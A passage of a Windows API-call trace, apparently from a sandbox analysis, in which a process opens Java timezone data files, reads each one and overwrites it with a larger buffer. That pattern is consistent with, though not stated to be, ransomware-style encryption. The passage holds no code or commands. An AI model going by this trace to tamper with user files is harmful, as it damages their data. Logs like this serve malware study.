lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.419] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.419] CloseHandle (hObject=0x1ac) returned 1 [0047.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Budapest" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\budapest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.420] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.420] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x520 [0047.420] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.420] ReleaseMutex (hMutex=0x128) returned 1 [0047.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Budapest", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Budapest", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Budapest", lpUsedDefaultChar=0x0) returned 8 [0047.420] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x2c0f2bc*=0x520, lpOverlapped=0x0) returned 1 [0047.435] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.435] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a4c6b8*, nNumberOfBytesToWrite=0xaa8, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4c6b8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xaa8, lpOverlapped=0x0) returned 1 [0047.435] CloseHandle (hObject=0x1ac) returned 1 [0047.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\london"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.451] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.451] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7e8 [0047.451] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.451] ReleaseMutex (hMutex=0x128) returned 1 [0047.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="London", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="London", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="London", lpUsedDefaultChar=0x0) returned 6 [0047.451] ReadFile (in: hFile=0x184, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2c0f2bc*=0x7e8, lpOverlapped=0x0) returned 1 [0047.518] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.518] WriteFile (in: hFile=0x184, lpBuffer=0x276d3b8*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d3b8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xd70, lpOverlapped=0x0) returned 1 [0047.518] CloseHandle (hObject=0x184) returned 1 [0047.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\riga"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x454 [0047.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.541] ReleaseMutex (hMutex=0x128) returned 1 [0047.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riga", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0047.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riga", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Riga", lpUsedDefaultChar=0x0) returned 4 [0047.541] ReadFile (in: hFile=0x1ac, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x454, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2c0f2bc*=0x454, lpOverlapped=0x0) returned 1 [0047.558] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.558] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9dc, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x9dc, lpOverlapped=0x0) returned 1 [0047.558] CloseHandle (hObject=0x1ac) returned 1 [0047.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vienna"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.559] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.559] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4b0 [0047.559] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.559] ReleaseMutex (hMutex=0x128) returned 1 [0047.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vienna", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vienna", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vienna", lpUsedDefaultChar=0x0) returned 6 [0047.559] ReadFile (in: hFile=0x1ac, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4b0, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x2c0f2bc*=0x4b0, lpOverlapped=0x0) returned 1 [0047.646] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.646] WriteFile (in: hFile=0x1ac, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0xa38, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa38, lpOverlapped=0x0) returned 1 [0047.646] CloseHandle (hObject=0x1ac) returned 1 [0047.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\christmas"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.667] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.667] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1b [0047.667] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.667] ReleaseMutex (hMutex=0x128) returned 1 [0047.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Christmas", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Christmas", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Christmas", lpUsedDefaultChar=0x0) returned 9 [0047.667] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e78b78, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b78*, lpNumberOfBytesRead=0x2c0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.668] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.668] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfc728*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.668] CloseHandle (hObject=0x1c4) returned 1 [0047.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.669] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.669] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1b [0047.669] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.669] ReleaseMutex (hMutex=0x128) returned 1 [0047.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MST", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0047.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MST", cchWideChar=3, lpMultiByteStr=0x1e6aa5c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MST", lpUsedDefaultChar=0x0) returned 3 [0047.669] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e78c40, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78c40*, lpNumberOfBytesRead=0x2c0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.670] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.670] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfc728*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.670] CloseHandle (hObject=0x1c4) returned 1 [0047.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fiji" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\fiji"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.671] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.671] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x24c [0047.671] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.672] ReleaseMutex (hMutex=0x128) returned 1 [0047.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fiji", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0047.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fiji", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fiji", lpUsedDefaultChar=0x0) returned 4 [0047.672] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x24c, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2c0f2bc*=0x24c, lpOverlapped=0x0) returned 1 [0047.672] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.672] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d4, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x7d4, lpOverlapped=0x0) returned 1 [0047.673] CloseHandle (hObject=0x1c4) returned 1 [0047.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kwajalein" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\kwajalein"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0047.694] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.694] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x59 [0047.694] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.694] ReleaseMutex (hMutex=0x128) returned 1 [0047.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kwajalein", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kwajalein", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kwajalein", lpUsedDefaultChar=0x0) returned 9 [0047.694] ReadFile (in: hFile=0x198, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2c0f2bc*=0x59, lpOverlapped=0x0) returned 1 [0047.695] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.695] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0047.695] CloseHandle (hObject=0x198) returned 1 [0047.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pitcairn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\pitcairn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.713] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.713] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4d [0047.713] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.713] ReleaseMutex (hMutex=0x128) returned 1 [0047.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pitcairn", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pitcairn", cchWideChar=8, lpMultiByteStr=0x1e6302c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pitcairn", lpUsedDefaultChar=0x0) returned 8 [0047.714] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x2c0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0047.714] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.714] WriteFile (in: hFile=0x1c4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0047.715] CloseHandle (hObject=0x1c4) returned 1 [0047.715] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pst8pdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0047.715] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.715] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4f8 [0047.715] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.715] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.715] ReleaseMutex (hMutex=0x128) returned 1 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PST8PDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PST8PDT", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PST8PDT", lpUsedDefaultChar=0x0) returned 7 [0047.715] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x2c0f2bc*=0x4f8, lpOverlapped=0x0) returned 1 [0047.729] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.729] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dac408*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa80, lpOverlapped=0x0) returned 1 [0047.729] CloseHandle (hObject=0x1c4) returned 1 [0047.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\pst8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0047.743] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.743] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1b [0047.743] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.743] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.743] ReleaseMutex (hMutex=0x128) returned 1 [0047.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PST8", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0047.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PST8", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, 